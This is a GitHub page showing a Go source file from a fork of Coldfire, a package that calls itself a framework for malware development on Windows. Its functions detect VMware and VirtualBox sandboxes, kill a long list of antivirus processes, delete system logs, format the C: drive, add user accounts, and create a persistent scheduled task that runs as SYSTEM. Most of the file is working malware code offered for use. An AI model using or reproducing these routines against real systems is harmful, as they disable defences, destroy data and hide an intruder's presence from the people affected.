forked from redcode-labs/Coldfire
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcoldfire_windows.go
316 lines (258 loc) · 7.38 KB
/
coldfire_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
// Package coldfire is a framework that provides functions
// for malware development that are mostly compatible with
// Linux and Windows operating systems.
package coldfire
import (
"fmt"
//"github.com/minio/minio/pkg/disk" broken dependency
"io/ioutil"
"os"
"os/exec"
"strconv"
"strings"
ps "github.com/mitchellh/go-ps"
)
func killProcByPID(pid int) error {
p := strconv.Itoa(pid)
cmd := "taskkill /F /PID " + p
_, err := cmdOut(cmd)
return err
}
func info() string {
user, err := cmdOut("query user")
if err != nil {
user = "N/A"
}
// o, err := cmdOut("ipconfig")
// if err != nil {
// ap_ip = "N/A" // (1)
// }
// entries := strings.Split(o, "\n")
// for e := range entries {
// entry := entries[e]
// if strings.Contains(entry, "Default") {
// ap_ip = strings.Split(entry, ":")[1] // (1)
// }
// }
return user
}
func isRoot() bool {
root := true
_, err := os.Open("\\\\.\\PHYSICALDRIVE0")
if err != nil {
root = false
}
return root
}
func cmdOut(command string) (string, error) {
cmd := exec.Command("cmd", "/C", command)
//cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.CombinedOutput()
out := string(output)
return out, err
}
func sandboxFilepath() bool {
EvidenceOfSandbox := make([]string, 0)
FilePathsToCheck := [...]string{`C:\windows\System32\Drivers\Vmmouse.sys`,
`C:\windows\System32\Drivers\vm3dgl.dll`, `C:\windows\System32\Drivers\vmdum.dll`,
`C:\windows\System32\Drivers\vm3dver.dll`, `C:\windows\System32\Drivers\vmtray.dll`,
`C:\windows\System32\Drivers\vmci.sys`, `C:\windows\System32\Drivers\vmusbmouse.sys`,
`C:\windows\System32\Drivers\vmx_svga.sys`, `C:\windows\System32\Drivers\vmxnet.sys`,
`C:\windows\System32\Drivers\VMToolsHook.dll`, `C:\windows\System32\Drivers\vmhgfs.dll`,
`C:\windows\System32\Drivers\vmmousever.dll`, `C:\windows\System32\Drivers\vmGuestLib.dll`,
`C:\windows\System32\Drivers\VmGuestLibJava.dll`, `C:\windows\System32\Drivers\vmscsi.sys`,
`C:\windows\System32\Drivers\VBoxMouse.sys`, `C:\windows\System32\Drivers\VBoxGuest.sys`,
`C:\windows\System32\Drivers\VBoxSF.sys`, `C:\windows\System32\Drivers\VBoxVideo.sys`,
`C:\windows\System32\vboxdisp.dll`, `C:\windows\System32\vboxhook.dll`,
`C:\windows\System32\vboxmrxnp.dll`, `C:\windows\System32\vboxogl.dll`,
`C:\windows\System32\vboxoglarrayspu.dll`, `C:\windows\System32\vboxoglcrutil.dll`,
`C:\windows\System32\vboxoglerrorspu.dll`, `C:\windows\System32\vboxoglfeedbackspu.dll`,
`C:\windows\System32\vboxoglpackspu.dll`, `C:\windows\System32\vboxoglpassthroughspu.dll`,
`C:\windows\System32\vboxservice.exe`, `C:\windows\System32\vboxtray.exe`,
`C:\windows\System32\VBoxControl.exe`}
for _, FilePath := range FilePathsToCheck {
if _, err := os.Stat(FilePath); err == nil {
EvidenceOfSandbox = append(EvidenceOfSandbox, FilePath)
}
}
if len(EvidenceOfSandbox) == 0 {
return false
} else {
return true
}
}
/* Broken due to lack of dependency: "github.com/minio/minio/pkg/disk"
func sandboxDisk(size int) bool {
v := false
d := `C:\`
di, _ := disk.GetInfo(d)
x := strings.Replace(humanize.Bytes(di.Total), "GB", "", -1)
x = strings.Replace(x, " ", "", -1)
z, err := strconv.Atoi(x)
if err != nil {
fmt.Println(err)
}
if z < size {
v = true
}
return v
}
*/
func sandboxTmp(entries int) bool {
tmp_dir := `C:\windows\temp`
files, err := ioutil.ReadDir(tmp_dir)
if err != nil {
return true
}
return len(files) < entries
}
func shutdown() error {
c := "shutdown -s -t 60"
_, err := cmdOut(c)
return err
}
func pkillAv() error {
av_processes := []string{
"advchk.exe", "ahnsd.exe", "alertsvc.exe", "alunotify.exe", "autodown.exe", "avmaisrv.exe",
"avpcc.exe", "avpm.exe", "avsched32.exe", "avwupsrv.exe", "bdmcon.exe", "bdnagent.exe", "bdoesrv.exe",
"bdss.exe", "bdswitch.exe", "bitdefender_p2p_startup.exe", "cavrid.exe", "cavtray.exe", "cmgrdian.exe",
"doscan.exe", "dvpapi.exe", "frameworkservice.exe", "frameworkservic.exe", "freshclam.exe", "icepack.exe",
"isafe.exe", "mgavrtcl.exe", "mghtml.exe", "mgui.exe", "navapsvc.exe", "nod32krn.exe", "nod32kui.exe",
"npfmntor.exe", "nsmdtr.exe", "ntrtscan.exe", "ofcdog.exe", "patch.exe", "pav.exe", "pcscan.exe",
"poproxy.exe", "prevsrv.exe", "realmon.exe", "savscan.exe", "sbserv.exe", "scan32.exe", "spider.exe",
"tmproxy.exe", "trayicos.exe", "updaterui.exe", "updtnv28.exe", "vet32.exe", "vetmsg.exe", "vptray.exe",
"vsserv.exe", "webproxy.exe", "webscanx.exe", "xcommsvr.exe"}
processList, err := ps.Processes()
if err != nil {
return err
}
for x := range processList {
process := processList[x]
proc_name := process.Executable()
pid := process.Pid()
if ContainsAny(proc_name, av_processes) {
err := killProcByPID(pid)
if err != nil {
return err
}
}
}
return nil
}
func users() ([]string, error) {
clear := []string{}
o, err := cmdOut("net user")
if err != nil {
return nil, err
}
lines := strings.Split(o, "\n")
for l := range lines {
line := lines[l]
if !ContainsAny(line, []string{"accounts for", "------", "completed"}) {
clear = append(clear, line)
}
}
return clear, nil
// return strings.Fields(strings.Join(clear, " ")), nil
// usrs := []string{}
// users, err := wapi.ListLoggedInUsers()
// if err != nil {
// return nil, err
// }
// for _, u := range(users){
// usrs = append(usrs, u.FullUser())
// }
// return usrs, nil
}
func networks() ([]string, error) {
wifi_names := []string{}
out, err := cmdOut("netsh wlan show networks")
if err != nil {
return nil, err
}
o := strings.Split(out, "\n")[1:]
for entry := range o {
e := o[entry]
if strings.Contains(e, "SSID") {
wifi_name := strings.Split(e, ":")[1]
wifi_names = append(wifi_names, wifi_name)
}
}
return wifi_names, nil
}
func clearLogs() error {
os.Chdir("%windir%\\system32\\config")
_, err := cmdOut("del *log /a /s /q /f")
if err != nil {
return err
}
return nil
}
func wipe() error {
cmd := "format c: /fs:ntfs"
_, err := cmdOut(cmd)
if err != nil {
return err
}
return nil
}
func CreateUser(username, password string) error {
cmd := f("net user %s %s /ADD", username, password)
_, err := cmdOut(cmd)
if err != nil {
return err
}
return nil
}
func wifiDisconnect() error {
cmd := `netsh interface set interface name="Wireless Network Connection" admin=DISABLED`
_, err := cmdOut(cmd)
if err != nil {
return err
}
return nil
}
func disks() ([]string, error) {
found_drives := []string{}
for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" {
f, err := os.Open(string(drive) + ":\\")
if err == nil {
found_drives = append(found_drives, string(drive)+":\\")
f.Close()
}
}
return found_drives, nil
}
func addPersistentCommand(cmd string) error {
_, err := cmdOut(fmt.Sprintf(`schtasks /create /tn "MyCustomTask" /sc onstart /ru system /tr "cmd.exe /c %s`, cmd))
return err
}
// func dialog(message, title string) {
// zenity.Info(message, zenity.Title(title))
// }
// func SplitMultiSep(s string, seps []string) []string {
// f := func(c rune) bool {
// for _, sep := range seps {
// if c == sep { // what?
// return true
// }
// }
// }
// fields := strings.FieldsFunc(s, f)
// return fields
// }
/*
func keyboard_emul(keys string) error {
}
func proxy_tcp() error {
}
func proxy_udp() error {
}
func proxy_http() error {
}
func webshell(param, password string) error {
}
func stamp() {
}
func detect_user_interaction() (bool, error) {
}*/